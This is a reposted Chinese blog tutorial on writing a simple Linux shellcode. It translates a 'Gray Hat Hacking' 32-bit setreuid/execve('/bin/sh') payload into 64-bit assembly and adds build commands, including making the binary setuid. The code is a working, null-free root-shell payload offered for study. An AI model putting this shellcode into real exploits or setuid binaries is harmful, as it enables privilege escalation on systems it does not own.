我是靠谱客的博主 天真摩托,最近开发中收集的这篇文章主要介绍学习写一个shellcode一个简单的shellcode,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

一个简单的shellcode


  • 最近对安全技术比较感兴趣,买了本灰帽黑客来看,发现书中的代码都是基于32位系统的,不能很好的在自己的X64架构的64位系统(Ubuntu15.10)上实验其代码,考虑到现在已经是64位的时代了,有必要搞懂在64位下如何实现,因此找了些相关的资料研究,终于把看懂的关于shellcode入门的32位汇编代码转成了64位的。

  • 先看书本上32的汇编代码:

section .text
global _start

_start:
    ;setreuit(0,0)
    xor eax, eax
    mov al, 0x46
    xor ebx, ebx
    xor ecx, ecx
    int 0x80
    ;spawn shellcode with execve
    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    xor edx, edx
    mov al, 0xb
    int 0x80

在翻译这段代码成64位的过程中,学习到了些32位和64位的不同,在翻译这段代码的过程中体现出的不同有:
1. AMD64位的寄存器是64位的,如rax寄存器对应32位的eax,在64位下也能用32的eax,16位的ax,8位的al,ah ,另外还多了r8 - r15这8个64位的通用寄存器
2. 64位下的系统调用号与32是不尽相同的,区别较大,在Ubuntu15.10下,查看64位的系统调用号可以看文件“/usr/include/x86_64-linux-gnu/asm/unistd_64.h” ,比如这个代码用到的setreuid在32位和64位下的调用号分别为0x46和0x71,execve的调用号分别为0xb和0x3b
3. 系统调用约定不同,64位下系统调用(普通函数调用也是)的约定为前6个参数依次放在如下寄存器:rdi , rsi , rdx , rcx , r8 , r9 .系统调用号放在rax ,返回的结果也放在rax
4. 系统调用的方式不同,64位下是syscall,而不是int 0x80
5. 64位下栈的大小是以64bit,8个字节进出栈的,32位是32bit,4字节

  • 由于有上述的区别,因此在翻译的过程需要做如下调整:
    1. 使用32位寄存器的地方可以换成64位的
    2. 按照调用约定的不同,对应修改存值的寄存器,并使用正确的调用号
    3. 使用syscall代替int 0x80
    4. 在将sh命令的路径“/bin/sh”圧栈时不再需要入3次栈,因为刚好8个比特可以存下“/bin/sh”加上表示字符串结尾的“0x00”
    5. 但是不能将“/bin/sh”的数字表示”0x68732f6e69622f“直接圧栈,push一个直接数时不能超过32bit,因此需要先把这个超过了32bit表示的数mov到一个临时的寄存器,再将该寄存器圧栈

修改后的代码:

;gs.asm  get shell
section .text                                                                                                                                   
global _start

_start :
    xor rax, rax 
    mov al, 0x71
    xor rdi, rdi 
    syscall

    xor rax, rax 
    mov r8, 0x68732f6e69622f
    push r8
    mov rdi, rsp 
    push rax 
    push rdi 
    mov rsi, rsp 
    xor rdx, rdx 
    mov al, 0x3b
    syscall

编译 -> 连接 -> 修改权限 ,就能看到书上说的得到一个shell的效果了~

nasm -g -f elf64 gs.asm
sudo ld -o gs gs.o
sudo chmod u+s gs
./gs
gdb -q gs

知道如何把这个简单的shellcode从32位翻到64位后,再翻书中更复杂的shellcode就容易了,虽然现在高版本的系统,高版本的gcc的各种保护机制导致书里的很多代码感觉都不能在64位里实现了。

还有几点说明:
1. 另外要注意,shellcode中不能出现”0x00“,因此mov调用号到rax时要mov到al
2. 使用objdump -d gs 就能得到shellcode的char[]了
3. 可以打开python3交互界面,使用 hex(ord(‘/’)) 查看字符的16进制表示,man ascii 查看ascii表

最后

以上就是天真摩托为你收集整理的学习写一个shellcode一个简单的shellcode的全部内容,希望文章能够帮你解决学习写一个shellcode一个简单的shellcode所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(58)

评论列表共有 0 条评论

立即
投稿
返回
顶部